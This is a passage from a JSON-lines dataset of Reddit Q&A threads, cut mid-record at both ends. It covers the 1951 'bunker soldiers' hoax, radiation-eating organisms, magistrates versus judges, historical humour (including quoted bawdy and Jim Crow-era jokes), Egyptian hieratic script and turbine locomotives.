originally appeared in an Associated Press report in 1951 from Warsaw, which lead to the story being picked up by both German and English Newspapers and especially the Boulevard Press making a big story out of it. However, when Der Spiegel contacted the Warsaw Ministry of the Interior, the said they had never heard of the case. The story made such an impact that the NDR broadcast a radio play based on it and the Munich author Margarete Elisabeth Hohoff penned the above mentioned play based on the story. Der Spiegel calls it a story that can't be confirmed.\n\nIn the issue of [Der Spiegel of the same year, reviewing the movie *Nasser Asphalt*](_URL_3_), the magazine took a clearer stance and calls the story \"invented\" right out of the gate.\n\nIn the movie, Buchholz portraying the journalist Greg Bachmann hears the story of Wehrmacht soldiers trapped in a bunker from his chauffeur after having been released from prison which he had infiltrated under a false name to interview high ranking Nazi war criminals. While in the original story, the soldiers escaped, Bachmann's boss goes on to spin the tale of the Bunkerpeople. When an American colleague in Poland is arrested because the Soviets are conducting rocket tests near Gdingen, the story about the supposed Bunker people hits the international press and a supposed blind survivor is brought in from Poland. But only Bachmann recognizes that it is all a hoax and breaks with his boss but is unable to convince the wider public that the story isn't real. In short, the movie is attempting a critique of what was called \"Asphalt journalismus\" (Yellow Press Journalism) at the time and pits the good German reporter against his American boss, Cesar Boyd, who's only interest is to sell papers, while Buchholz' Bachmann is a good German journalist of integrity.\n\nIn connection with the case, by 1958 most of the German press was convinced that the story was a hoax and while the academic literature about post-war Germany also takes this position, the interesting part of this now forgotten story is that it was used pop-culturally in post-war German as a symbol or McGuffin for a variety of causes. Wismar's film takes it as a critique of Americanized journalism in Germany; Hohoff's play as well as a poem version of the case use it in connection to the injustice of Germans having been expelled from the formerly Prussian areas that are now Poland, and so forth. So while it may not have been true, it certainly made a huge impact on German pop-cultural imagination of the post-war years.\n\n \nEdit: I decided to look at Polish sources for the whole thing. My Polish isn't the best but so far, here's what I could gather:\n\n[Trojmiasto reported in 2009](_URL_0_) that while they were able to find a man born in Gdansk who had heard the story as a teenager after the war, a certain Jan Wentowski, the only informative source they came across is a 1955 novel *Gdy zga\u015bnie s\u0142o\u0144ce* (When the sun sets), which names the sole survivor of the bunker episode as one Willi Kurtz. As they portray the story, the author of the novel, Zenona Skierskiego, came into possession of the diary of Kurtz through connections in the ministry of security. The kicker in their version is that the whole thing didn't take place in Gdynia but in Gdansk itself with the Wehrmacht soldiers trapped in subway tunnels. They do however state that there is no hard evidence whatsoever corroborating the story.\n\n[_URL_2_ also ran a story about this](http://_URL_2_/kat,1031987,page,2,title,Kilka-lat-po-wojnie-w-podziemiach-polskiego-miasta-ukrywali-sie-hitlerowscy-zbrodniarze,wid,15291839,wiadomosc.html) in 2013. They point to another article [which deals with the person who allegedly discovered the soldier](_URL_4_), W\u0142adys\u0142aw Dawidowski.  Dawidowski though is to be taken with a grain of salt: For one, he claims he found two German soldiers in 1948 rather than 51 and at the end of the interview, he claims that the whole story was hushed up as part of conspirarcy, first by the communist authorities and later by some nebulous Germans, who allegedly also bought all the issues of the novel mentioned in the above cited article.\n\n \n"]}, "title_urls": [], "selftext_urls": ["http://webcache.googleusercontent.com/search?q=cache:u-HHaluHXOcJ:https://cdnc.ucr.edu/cgi-bin/cdnc%3Fa%3Dd%26d%3DMT19510618.2.5&amp;num=1&amp;hl=en&amp;gl=us&amp;strip=1&amp;vwsrc=0", "https://cdnc.ucr.edu/cgi-bin/cdnc?a=d&amp;d=MT19510618.2.5"], "answers_urls": [["http://archives.chicagotribune.com/1951/06/18/page/31/article/german-soldier-leaves-bunker-after-six-years", "http://content.time.com/time/magazine/article/0,9171,806023,00.html"], ["http://www.trojmiasto.pl/wiadomosci/Ostatni-z-fortu-zasypany-zolnierz-przezyl-w-bunkrze-n32810.html", "http://www.spiegel.de/spiegel/print/d-41760577.html", "niewiarygodne.pl", "http://www.spiegel.de/spiegel/print/d-41761207.html", "http://odkrywca.pl/index1.php?action=artykuly&amp;artykul=miejsca3", "http://niewiarygodne.pl/kat,1031987,page,2,title,Kilka-lat-po-wojnie-w-podziemiach-polskiego-miasta-ukrywali-sie-hitlerowscy-zbrodniarze,wid,15291839,wiadomosc.html"]]}
{"q_id": "79axrn", "title": "Can we hope to either stumble upon an organism that feeds of radiation or create one?", "selftext": "I was reading a comic book earlier today called 'Low'(really good read) and near the end as humans set foot on earths surface (they had gone into the depths after catastrophic radioactive warfare) for the first time in thousands of years they encounter and entirely different ecosystem. An ecosystem that has evolved not just to feed off radiation but to use it in self-defense. I've read the concept before but I never really thought of it in terms of feasibility. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/79axrn/can_we_hope_to_either_stumble_upon_an_organism/", "answers": {"a_id": ["dp0j75o", "dp0jsx7", "dp0l6nn", "dp0qm2t", "dp18y33"], "score": [137, 55, 7, 2, 10], "text": ["About 10 years ago there was actually a black fungus collected within the reactor walls of Chernobyl that was found to be feeding off of the abundant radiation. \n\n\"'Just as the pigment chlorophyll converts sunlight into chemical energy that allows green plants to live and grow, so might melanin help fungi make use of ionizing radiation, said nuclear medicine specialist Ekaterina Dadachova at the Albert Einstein College of Medicine.\"\n\nLink:_URL_0_", "Technically speaking, we already have organisms that feed off of radiation. This is in essence what photosynthesis is, albeit most the solar radiation that enters our atmosphere is non-ionizing, it\u2019s still radiation nonetheless.", "I think it's first important to understand what radiation is. It's the result of a radioactive decay of an unstable atom. There's a few different types of radiation gamma ( a photon is emitted), alpha ( a helium-4 nucleus is emitted), beta (an electron is emitted), neutron emmision, fission (atom splits roughly in half and emits some neutrons and photons). What's important to understand is the only thing that is different about radiation than their ordinary counter-parts is the kinetic energy that they carry. Plants already use gamma radiation to grow (just ordinary light) via photo-synthesis. Something similar could be used to \"eat\" other types of radiation. \n\nThis however wouldn't speed up the radioactive decays of the fission fragments left over from fission (this is where the harmful radiation comes from after said nuclear war). So yes something could eat radiation but not actually help us survive in highly radioactive conditions. \n\nNow simply speeding up the decays wouldn't necessarily help either. All unstable atoms have an associated half life. Meaning that if an atom has a half life of 1 minute that after one minute you would expect that whatever quantity of the atoms you started with half will have decayed. Now with fission fragments it's not the ones that decay quickly that are an issue (Something with a half life of a week would be essentially gone in about 5 weeks). And the long lived ones aren't really a problem either if something has a half life of 10,000 years you're never gonna be in danger being near it because aging will kill you faster. It's the middle of the road ones that cause issues the Goldie lock zone if you will. Not too long and not too short. But if you speed up all decays than nothing really changes since the longer lived decays will take the place of the middle ones.\n\nTL;DR yes you can absolutely have something eat radiation (plants already do) but it wouldn't really help clean up a nuclear disaster or the fallout after a nuclear war.", "Sure, we could. The thing is, what we really need is something that feeds on radioactive material(the stuff that emits radiation). A fungus or bacteria that fed off of the contamination left over from nuclear projects and fallout would be fantastically useful and could clean up the environment dramatically.", "As a lot of others have pointed out living off of the radiation is not a problem.  Essentially that's what all plants do when they photosynthesize, and many of the other things we've found that live in places like Chernobyl are essentially doing the same thing but using the energy released by radioactive decay.\n\nWhat you're getting at is something different, the actual consumption of the radioactive materials themselves.  This is definitely possible as we have a lot of [lithotrophic](_URL_1_) organisms, usually single celled.  These are bacteria and such that eat stone and extract what they need from material itself.\n\nThere are a lot of variations of this using different strategies, such as chemolithoautotrophs (chemical - stone - self feeders).\n\nAround [deep sea volcanic vents there are chemotrophs](_URL_0_) that consume the chemicals coming from the vents and form the basis of life for a whole ecosystem.\n\nIt's certainly plausible that there are organisms living off of direct consumption of radioactive materials."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.foxnews.com/story/2007/05/30/black-fungus-found-in-chernobyl-eats-harmful-radiation.html"], [], [], [], ["https://en.wikipedia.org/wiki/Chemotroph#Chemoautotroph", "https://en.wikipedia.org/wiki/Lithotroph"]]}
{"q_id": "7qay03", "title": "what is the difference between a magistrate and a judge?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7qay03/eli5_what_is_the_difference_between_a_magistrate/", "answers": {"a_id": ["dsnrakk", "dsp8d1c"], "score": [4, 2], "text": ["That depends entirely on the country you're asking about. Can you be specific?", "The requirements, responsibilities, and jurisdiction of various judicial officers vary from place to place.\n\nIn jurisdictions that use the term, magistrates are generally lower judicial officers that deal with preliminary matters such as bail hearings, administrative matters such as marriage licences, judicial authorisations such as search warrants, civil infractions such as parking violations, regulatory violations such as driving a vehicle in excess of its registered weight, and minor offences not criminal in nature.\n\nJudges on the other hand deal with more complex matters such as civil lawsuits, lawsuits against the state, criminal trials, appeals, injunctions, challenges to the constitutionality of legislation. What matters a judge sitting on a particular court can actually hear and decide again varies from place to place.\n\nHere in Canada we have Justices of the Peace rather than magistrates. Each province has a statutory provincial court, a superior court which is the court of inherent jurisdiction in each province, and a court of appeals. Justices of the Peace operate under the provincial courts and thus derive their jurisdiction entirely from statute. There's also the Federal Court of Canada (also a statutory court that deals with federal matters), the Federal Court of Appeals, and the Supreme Court of Canada.\n\nThe subject matter jurisdiction of each court is fairly uniform across the nation, but that's outside the scope of this post.\n\nA justice of the peace must have post secondary education, but need not have a law degree or have been a member of any provincial bar. A judge must have a law degree, be a member of a provincial bar in good standing, and have worked as an attorney for no less than 5 years (in practice, 10 years is the minimum)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "wm9h2", "title": "What did people find humorous in your area of expertise?", "selftext": "I am not what you would call a \"Historian,\" but I read that this joke was one of the oldest ever found:\n\n > Something which has never occurred since time immemorial - a young woman did not fart in her husband's lap.\n\nApparently the Sumerians thought flatulence was pretty funny. Personally, I don't quite get it. But I'm sure it sounds funny in Sumerian.\n\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wm9h2/what_did_people_find_humorous_in_your_area_of/", "answers": {"a_id": ["c5ekye8", "c5elpt7", "c5eoghz", "c5ep6us", "c5eqqcv", "c5er28t", "c5er7tf", "c5es00p", "c5et25c", "c5etce2", "c5etl13", "c5eu6hb", "c5eujvx", "c5ewd82", "c5fkgen"], "score": [28, 14, 15, 15, 3, 8, 5, 27, 3, 2, 5, 6, 15, 9, 3], "text": ["Poop. Man oh man, did people in the 18th century love poop jokes.\n\nPretty early on in *Gulliver's Travels*, there's a poop joke **in Greek**, which might be the most 18th century thing I can think of. I forget the context, and the exact quote, but someone (Gulliver?) commits \"an act of *autokompros*\" that saves the day.", "We tried to answer why this is supposed to be funny [in this thread](_URL_0_).\n\nNot quite my area, but there's a couple of quotations mis-attributed (!) to Martin Luther on what can be considered crude areas of humour.\n\n >  Warum pfurzet und ruelpset ihr nicht, hat es euch nicht geschmecket?\n\n >  Which roughly translates as:\n\n >  Why don't you farteth and burpeth, didn't you fancy the meal?\n\n", "Robert Darnton's _The Great Cat Massacre_ toys with this notion: he examines a bunch of printer's apprentices in the 1730s who went around killing cats in Paris.  They tortured the animals pretty severely - burning them alive, in some cases - and found it _hilarious_.  \n\nDarnton basically said, \"Okay, this would be appalling today, but these people obviously found it funny for some reason.  I want to get the joke here.\"  To wit, he unravels the context in which committing a massacre of cats is funny.  It's the archetypal cultural history and definitely worth a read.", "...incredibly racist jokes. ", "I'm currently doing my dissertation on masculinity in 18th-19th centuries, they found cross dressing funny for a while and liked laughing at Fops. Byron is hilarious.", "To be honest, most Soviet humor just goes right by me... from which I have concluded that either Soviet communism is bad for humor (which is unlikely, historically speaking suffering seems to create great humor) or that I really don't understand the jokes.", "Although what is about to mentioned was a serious study in eighteenth century sexual practices, when my lecturer first talked about it and read extracts from the book out loud the entire seminar burst out laughing. The book describes the sexual exploits of a Mr William Byrd. He kept a very detailed diary of how reguarly he frequented prostitutes and married women. It is, however, his descriptions of his actions which gained mass hysteria. To begin with he would simply say something like 'I slept with the made for a while...may God forgive me' later turned into 'I rogered Mrs. X...may God forgive me' and then quite explicitly 'I took the maid by the cunt...may God forgive me'. He even complained about how one woman was 'too clean' for his tastes. The book also describes how sometimes he would pay prostitutes with food rather than money. One last thing, he would go into explicit detail about his 'runnings' or his penile discharge from his STDs he acquired. Depending on your own sense of humour this book would be either a hilarious or horrific read.", "An example of something that we would still find funny is the old french \"fabliaux\" from 1200-1400. I'm unfortunately away from my English translations of them, but here's a plot-summary of one of them:\n\nA priest comes to the house of a husband and wife and peeps in at them through the key-hole, by which he sees them enjoying their dinner at the table. The priest knocks on the door, and yells to the couple:\n\n\"Hey! I see what you're doing in there and God would not approve!\"\n\nThe husband quickly opens the door and asks what the priest could mean.\n\n\"You were engaging in ass-fuckery, you low-life degenerate; I saw you through the key-hole.\"\n\nThe husband protests that they were just eating dinner. The priest, on seeing the smoking stews on the table, appears satisfied. \n\n\"By Saint Vincent,\" says the priest, \"I could have sworn you were beating your balls against her snatch. Come outside and see the illusion through the key-hole. I will sit down to the table with your wife and it will seem as though I'm fucking her silly.\"\n\nThe husband eagerly exits and waits with his eye glued against the key-hole. The priest enters the kitchen, bends the wife over, and sodomizes her violently. \n\n\"My God, you're right!\" screams the husband, \"it looks exactly like you're fucking her!\"", "The Romans made [lots of sex jokes](_URL_0_). Apuleius' *Golden Ass* is basically half slapstick, and half about how much he wants to screw absolutely everything.\n\nTheir humor could also be [quite modern](_URL_1_).", "Soviet political cartoons of Leonid Brezhnev were often drawn with cockroaches substituted for his big bushy eyebrows. Most other Soviet humor was too specific or esoteric for me to ever get. It also seemed really broad and had a strong sense of over explaining everything for the lowest common audience. Also, a lot of the humor in official theater productions was just plain bad, as it was too tailored to fit the political message. ", "Stuff like [this](_URL_0_)\n\nMaking the best of a bad situation is how I see almost all WWI humour.", "[His Majesty Norton I, Emperor of the United States and Protector of Mexico.](_URL_0_)\nMuch of California's history is an absolute circus. I could go on and on about the bizarre, drunken antics of our proud history.", "People in the GDR (=East Germany) found jokes about the Stasi, political repression and the bad living conditions funny. One example, made famous by the movie *The Lives of Others*:\n\n*Early in the morning, Honecker arrives at his office and opens his window. He sees the sun and says: \"Good morning, dear Sun!\" The sun replies: \"Good morning, dear Erich!\" Honecker works, and then at noon he heads to the window and says: \"Good day, dear Sun!\" The sun replies: \"Good day, dear Erich!\" In the evening, Erich calls it a day, and heads once more to the window, and says: \"Good evening, dear Sun!\" The sun is silent. Honecker says again: \"Good evening, dear Sun! What's the matter?\" The sun replies: \"Kiss my arse. I'm in the West now.\"* [West= Western Germany, of course]\n\nBonus-edit: Jokes told during the Third Reich:\n\n* *Hitler and Goering are standing atop the Berlin Television Tower. Hitler says, \"I\u2019d like to do something to cheer up the Berliners.\" Goering: \"Then jump.\"*\n\n* *Hitler visits a lunatic asylum. The patients give the Hitler salute. As he passes down the line he comes across a man who isn't saluting.\n\"Why aren't you saluting like the others?\" Hitler barks.\n\"Mein F\u00fchrer, I'm the nurse, I'm not crazy!\" comes the answer.*", "Racial humor is always a very dicey subject, but such humor had an important place for African Americans enduring the daily indignities and the lethal dangers associated with life in the Jim Crow South.  African Americans developed a pretty robust (and often hilarious) comedic tradition that is still with us today. This tradition accomplished a couple of purposes. It allowed African Americans to mock Jim Crow and the supposed supremacy its defenders. It also asserted that African American possessed the same intelligence, cleverness, and caginess of whites, although circumstances often demanded such qualities be hidden by masks of social deference.\n\nAnyway, here are a few favorite examples drawn from [this section](_URL_1_) on black humor from great book detailing African American folk traditions: Lawrence Levine's [Black Culture and Black Consciousness: Afro-American Folk Thought From Slavery to Freedom.](_URL_0_). Excellent read, highly recommended. \n\n* A famous example of these types of jokes involves the Deep South during the Civil Rights Movement. Tired of hearing stories of how white landlords abuse their black sharecroppers, a landlord brought one of his sharecroppers to a radio station to tell the nation how well blacks were treated in the South. Leading the sharecropper into the radio studio, the landlord says: \"Now there's the microphone Sam. Just talk into it.\" Sam replies, \"That's the microphone, boss? And when I talk into it, the whole world can hear me?\" The landlord replied, \"That's right Sam.\" Sam nodded, walked to the microphone, grabbed onto it with both hands and yelled: \"H-E-E-E-L-P!\"\n\n* A black man from the North, traveling through the South in a luxury automobile, stops at a gas station and demands service from a white attendant. The northerner's demands lacked the usual deference displayed by southern blacks fearful of violent response for such audacity. The white attendant, in response, pulled out a gun and a dime, flipping the dime in the air and putting five bullets through its center. After this display of marksmanship, the attendant looked at the northerner and said, \"Now you look that over and think about it.\" In response, the northerner threw an apple into the air, whipped out a knife, and after a few movements the apple landed peeled, cored, and quartered. The attendant stared the apple in in silence for a long minute. He then asked, \"So, how many gallons of gas did you want, mister?\"\n \n* A Hollywood movie mogul traveled from Hollywood to Florida for vacation, driven by his black chauffeur. While journeying through Alabama, the chauffeur developed a painful toothache. The mogul and chauffeur stopped at a dentist and inquired about the cost of having the tooth pulled. The dentist replied that it would cost $500 for the chauffeur, and $20 for the mogul. Dumbstruck by the huge difference in cost, the mogul inquired why his chauffeur's dental procedure would be so much more expensive. The dentist answered, \"Well, it's a major operation, for here in Alabama a Negro doesn't dare open his mouth to a white man, so we have to pull it out of his anus.\" \n \n* On the black preacher who didn't believe in Hell: \"Oh no my friends! The Lord would never repeat himself by making a place called hell when we already have a place called Georgia!\"\n \n* An elderly black man had for years unsuccessfully sought membership in a segregated white church. After the latest rebuff from the church, the minister advised the man to pray and take his request to the Lord. Some time later the man meets the minister and reports on God's reply to his request. \"Ha! Fat chance! I've been trying to get in there *myself* for twenty-five years and I haven't made it yet!\"", "Honestly, half the time I have no idea what the joke is. 19th century American humor columns in newspapers as well as non-political cartoons make absolutely no sense to the modern reader most of the time. Example from *Harper's Weekly* on January 10, 1863:\n\nLittle Bottles.\n\u2014\"Ah! Miss Laura, you will favaw me with your delightful company in a\nsleigh-ride\u2014ah! I suppose\u2014of course\u2014you know!\"\nMiss Laura.\n\u2014\"Bottles, certainly! Right off\u2014now\u2014as soon as you please. Take a sleigh-\n*ride with you or any other man*!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/uh9pn/why_did_the_sumerians_find_this_fart_joke_funny/"], [], [], [], [], [], [], ["http://www.pompeiana.org/Resources/Ancient/Graffiti%20from%20Pompeii.htm", "http://www.epicurus.net/en/zeus.html"], [], ["http://www.sitesyou.com/magentostore/media/catalog/product/cache/6/image/5e06319eda06f020e43594a9c230972d/h/u/humour1-front_1.jpg"], ["http://en.wikipedia.org/wiki/Emperor_norton"], [], ["http://books.google.com/books?id=QgHSF05HthsC&amp;dq=lawrence+levine&amp;source=gbs_navlinks_s", "http://books.google.com/books?id=QgHSF05HthsC&amp;printsec=frontcover&amp;dq=lawrence+levine&amp;source=bl&amp;ots=ty4C_i_Tmu&amp;sig=1s7dknltcFv38a1VSwUDOetxiOI&amp;hl=en&amp;sa=X&amp;ei=hWgEUN_-MIbJ6wGYjb34Bg&amp;ved=0CDYQ6AEwAA#v=onepage&amp;q=rolling%20pealing%20laughter&amp;f=false"], []]}
{"q_id": "7xypjy", "title": "Why is the Egyptian Hieratic script not considered the world's first alphabet?", "selftext": "My understanding is that the Proto-Sinaitic script is generally now considered to be the parent system of the Phoenician alphabet, and that it borrowed its symbols from Egyptian Hieratic. If I've understood correctly, these were both abjads like the Phoenician alphabet. Does that not make one of them the world's first alphabet?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7xypjy/why_is_the_egyptian_hieratic_script_not/", "answers": {"a_id": ["ducn195"], "score": [20], "text": ["TLDR: No, hieratic is not an alphabetic writing system.\n\n**Egyptian hieroglyphs**\n\nEgyptian hieroglyphs can be divided into two types, phonetic signs and determinatives. Phonetic signs were used to write one consonant (uniliteral signs), two consonants (biliteral signs), or three consonants (triliteral signs). Phonetic signs could also function as logograms; the biliteral sign *pr*, for example, was used to write both the noun *pr* (\"house\") and the verb *pri* (\"come forth/out of\"). \n\nNote that Egyptians only wrote consonants; vowels were not recorded in hieroglyphs. Determinatives were signs at the end of words used for disambiguation. For an English example, adding vowels to \"ct\" could give you cat, cot, cut, cute, cote, acute, or various other words. If you wanted to signify \"cot,\" you might add a drawing of a piece of furniture at the end of the word. If you meant \"cat,\" you might add the paw print of an animal. There are many classes of determinatives (men, women, animals, furniture, pottery and vessels, earth, sky, and water symbols, etc.) used to disambiguate Egyptian words. Determinatives are quite helpful for Egyptologists because they enable them to guess the basic gist of a word even when its exact meaning is unknown (e.g. you can tell a word is the name of a type of clothing, even if its exact meaning is unclear). Hieroglyphic texts could be written right to left, left to right, or top to bottom. \n\n**Egyptian hieratic** \n\nAlthough hieroglyphs were very attractive when carved or painted onto stone, they were too cumbersome to use in daily life. Alongside hieroglyphs, therefore, the Egyptians developed hieratic. Hieratic signs are cursive forms of their hieroglyphic equivalents, often ligatured to allow the scribe to write quickly without lifting his brush. Originally hieratic signs were clearly recognizable from the hieroglyphic forms, and hieratic texts were written in columns. The [Heqanakht letters](_URL_4_) are a good example. Hieratic signs became increasingly abbreviated over time, and during the Middle Kingdom hieratic texts switched from vertical columns to hieratic rows, as in [P. Sallier II](_URL_5_). [P. Berlin 3022](_URL_1_), which contains a copy of the Middle Kingdom *Tale of Sinuhe*, was transitional and includes both columns and rows. You can compare these examples of hieratic to the [hieratic of the 20th Dynasty](_URL_0_), which is noticeably different in style. Unlike hieroglyphic texts, hieratic texts were virtually always written right to left. \n\nYou can think of hieratic as handwriting compared to typing something on a computer. In fact, it's quite common for Egyptologists to provide a hieroglyphic transcription while publishing a hieratic text. You can see the hieratic and hieroglyphic versions of a text side-by-side [in this photo](_URL_2_). Note that it's usually not too difficult to identify the hieroglyph a hieratic sign came from.\n\nBecause it developed from the hieroglyphic writing system, hieratic contains all of its elements, including phonetic signs (uniliteral, biliteral, and triliteral signs) as well as determinatives. It is certainly *not* an alphabet or abjad.\n\n**From hieratic to Proto-Sinaitic**\n\nKeep in mind that the Proto-Sinaitic script borrowed **only** its signs from hieratic; the phonetic values assigned to the signs and how the signs worked are very different from Egyptian writing. The Proto-Sinaitic script used the acrophonic principle, in which a sign represents the first sound value in the word it represents. This was the innovation that marked the beginning of the development of the alphabet.\n\nFor example, the Proto-Semitic word for house is *bayt-* (Akkadian *b\u012btu-*), so the drawing of a house was used for the letter B (the \"-bet\" in \"alphabet\"). In Egyptian, however, the house hieroglyph has the biconsonantal reading *pr* (as in *pr-aA* or Pharaoh, literally \"great house\").  Moreover, unlike in Egyptian, there are no signs in the Proto-Sinaitic script that have biconsonantal or triconsonantal values. Each sign stands for only one consonant. \n\n**Further reading**\n\nI've assigned Andrew Robinson's *The Story of Writing: Alphabets, Hieroglyphs  &  Pictograms* as a textbook while teaching a course on ancient writing systems. It provides a very good, very readable overview of different writing systems and the evolution of the alphabet. \n\nThe British Museum's [*Reading the Past: Ancient Writing From Cuneiform to the Alphabet*](_URL_3_) is a compilation of short books (~60 pages each) covering cuneiform, hieroglyphs, Linear B, the early alphabet, Greek, and Etruscan. The same series has other books on on Chinese, Maya hieroglyphs, etc. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.britishmuseum.org/collectionimages/AN01015/AN01015091_001_l.jpg", "https://www.allmystery.de/i/t2262a0_Sinuhe_Berlin3022.jpg", "https://pbs.twimg.com/media/DPuKRE9VAAA7Ny_.jpg:large", "https://books.google.com/books?id=9i8L8qxSsM4C", "https://i.pinimg.com/originals/c6/01/5c/c6015c72839e2aafed09f86e6cab88ec.jpg", "https://upload.wikimedia.org/wikipedia/commons/3/3c/Papyrus_Sallier_II.jpg"]]}
{"q_id": "72nwz6", "title": "Why don't freight trains use turbine engines?", "selftext": "Freight trains in the US use diesel-electric drive trains where the engines act as a generator that then drives electric motors. These trains are supposedly extremely efficient, with a commonly-cited figure of 400 mpg per ton.\n\nHowever, I'm operating under the assumption that turbines are the most efficient way to produce electricity as they're used to produce electricity for the grid. If this is the case, then why aren't trains using turbines, since they're trying to turn fossil fuel into electricity at peak efficiency? If it's not, then why do power plants not use diesel?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/72nwz6/why_dont_freight_trains_use_turbine_engines/", "answers": {"a_id": ["dnk0zry", "dnk1133", "dnk7j0s", "dnk8fx7", "dnk9d2c", "dnkc6my", "dnkcd1d", "dnkhude", "dnkkelm", "dnko3eh", "dnkxf7c"], "score": [6, 513, 47, 9, 10, 44, 11, 3, 2, 4, 2], "text": ["Train engines have some constraints that fixed power plants do not. For example, they need to carry their fuel with them, so fuel/powertrain weight and volume are fairly important. They also need to be able to turn on and off and change power output relatively quickly to start and stop moving. They are also, all things considered, not particularly large. A baseload powerplant might be the size of a large building and take a full day to come up to full power output.  ", "Because trains do a lot of idling as well. Turbines are ungodly inefficient at low speed (power)\n\nThere are several examples of turbine locomotives though. The opitomy of which were Union Pacific's General Electric turbine locomotives (GTEl's). Flooring 8500hp (and by some accounts capable of up to 10k.)\n\nThe main disadvantages comes in their size, and the massive amount of fuel.\n\nThe GTELs used a 3 unit consist for each motive into. By today's standards it would be underpowered (8500 vs 13k in flagship locomotives), they also used more fuel. The reason that UP's GTELs were economic for the time was that bunker C fuel had no other use (This was a time before advanced refining techniques) and it was first cheap.\n\nThey are/were also exceptionally loud.", "Gas turbine engines are not as efficient as reciprocating diesel engines when operating over a wide range of power conditions, as locomotive applications require.\n\nIt might be possible to have a gas turbine that could match big diesels at its ideal power setting, but you lose that immediately when you ask for more (and especially less) power. Even so you'd probably need an additional heat recovery stage (steam turbines) to match a modern diesel in efficiency, and cost, bulk, and complexity would skyrocket. \n\n", "Some power plants do use diesel, in places where any fuel supply has to be shipped in. Diesel generators are often more efficient than gas turbines unless the gas turbines are operating a high efficiency combined cycle. These combined cycle systems would add substantial water weight to a vehicle.\n\nA key reason diesel isn't used more often in the electrical grid is because it costs much more per unit of heat than gas or coal.\nIt's used in vehicles because it offers good efficiency without combined cycle, has much greater volumetric energy density than natural gas and it is liquid at room temperature, making it cheaper, easier and safer to fuel a tank.", "About 3 years ago Cummins introduced their biggest engine, the QSX95 4000HP for rail use. It was so much lighter than existing engines that they had to add tons of steel to the mounting frame of the engine to increase rail to wheel friction so that the engine could pull the load. Gas turbines are so light they would never be able to leave the station, the wheels would just spin.", "As a pilot who worked briefly for a railroad I asked the exact same question and came to the following answer:\n\nGas Turbine Pros\n\n1. Exceptionally high power to weight ratio\n2. Efficient at high RPM\n\nGas Turbine Cons\n\n1.  High-Veryhigh RPM useful operating range  \n2. Significant fuel/air burn rate\n2. Complex maintenance \n3. Fragile, expensive parts\n4. Power delay (5-10 seconds)\n\nGas Turbine Pros in trains\n\n1. NA\n2. Makes sense on road trains\n\nGas Turbine Cons on trains\n\n1. As the general public, we only really see road trains in transit, going long distances from yard to yard. The reality is a significant amount of time is spent idling, or going back and forth short distances at low power shuffling cars in a yard and or pickup/dropoff at industries. Turbines are impractical on these engines, but it could still work as a separated road train engine class. \n2. In order for turbines to burn as much fuel as they do, they have to compress a lot of air and suck it in. Trains operate at very low speeds, and thus do not have the luxury of having air forced down their air intake at 500 mph like planes do. They would have to have even greater compression mechanics engineered in. But this is ultimately an engineering problem so lets move on. \n3. IMO This is the real killer here. Turbines are significantly more complex than diesel engines. Mechanics need to have a practical understanding of what is literally rocket science. Don't want a mechanic specialty dick measuring contest, just pointing out that this is a complex topic that will require significant retraining of maintenance employees. Additionally, these are road trains, so they move, and could break down in any yard or even en-route. Thus, mechanics would have to be retrained system-wide. And if they do break down, there are a lot more things that could have gone wrong, and may require complex repairs increasing the negative impact of mechanical failures. Also due to the complexity, there are more parts this increases the total required on hand parts (system wide again) in order to keep trains properly maintained. These parts btw, are made of special materials with special designs/equipment in limited quantities, with no alternatives to purchasing from the manufacturer... aka expensive and a possible bottleneck.\n4. The maintenance issue is compounded by the fragility of the engines. fragile blades spinning at 30,000 rpm do not like solid objects of any kind. Planes don't have this problem, except on runways, which are often swept for debris, but trains are at ground level 24/7. Go under a tunnel and have your extra powerful air compressor suck a loose brick off the ceiling and that train is gonna have a bad time. Even little pebbles can be a problem, hell the U.S. military aircraft have had problems with sand screwing up turbines in the middle east. Long story short, this is another complex engineering problem, but any failure here could be catastrophic, shutting down engines in the field. Increasing that risk is not desirable. \n5. last, and certainly least, is the power delay. Trains are accelerating or decelerating thousands of tons. A few second delay is completely negligible. \n\nSo basically, **TLDR while they seem like an efficiency no brainier, turbines are only power efficient on some trains, while the company gets screwed by extra engineering issues (air compression and filtration), limited operational use (long distance road trains only), and essentially doubling the already significant engine maintenance labor and materials cost.** ", "Turbines exhibit mechanical efficiency over only a very narrow range of RPM. Outside of this range, efficiency drops dramatically as does power output. Turbine engines are also ungodly inefficient at very low RPM, and are thus terrible at idling.\n\nDiesel engines have a wider range of efficient RPM which provides much more flexibility in terms of power output. Furthermore, diesel engines idle very, very well.\n\nTurbine engines are most ideal in two scenarios:\n\n1.) When power output is more or less constant, or fluctuates very little during operation. This occurs in power plants\n\n2.) When conserving weight. Turbine engines have a much higher power-to-weight ratio than diesel engines, which is why turbine engines are used on aircraft (aircraft power requirements are more or less constant during cruising as well). On freight trains the weight of the engine is insignificant compared to the total mass of the train, so switching to a turbine would be meaningless.", "Turbines are great for planes because of their high power to weight ratios and capability to acheive high speeds. . Ships and locomotives have no problem with weight which might even have benefits for traction and stability. Used for electric power generation  Single cycle turbines are rather inefficient, usually require complex gas compressors and very high o  &  m costs.   They are less responsive to load and are rather slow to start, use a lot of energy to start and have to be run for at least an hour to cool down. Combined cycle which uses heat from the combustion turbine to produce steam to operate a steam turbine is more efficient but requires several hours to come fully on line and are even more expensive and high maintenance than simple cycle turbines.\n\n  Reciprocating engines as used in ships are consided by many as superior for power plants. They are  capable of producing several megawatts, are more efficient, can use a variety of fuels, have long life with high reliability, cooling is provided with a radiator instead of cooliing tower, gas compressors aren't needed. They are very responsive to load changes and installed in banks only as many generators as needed can be used.. They can be instslled quickly on a relatively small footprint and more units can be added or even relocated to meet local conditions.  \n\nHaving worked for utilities for 20 years management seemed have a great preference for enoumous impressive power plants. They extremely costly  investment and O & M costs allow utilities to make an effectice case when they apply for rate increases.  Reliable piston engines purchased as needed with low operating costs don't make 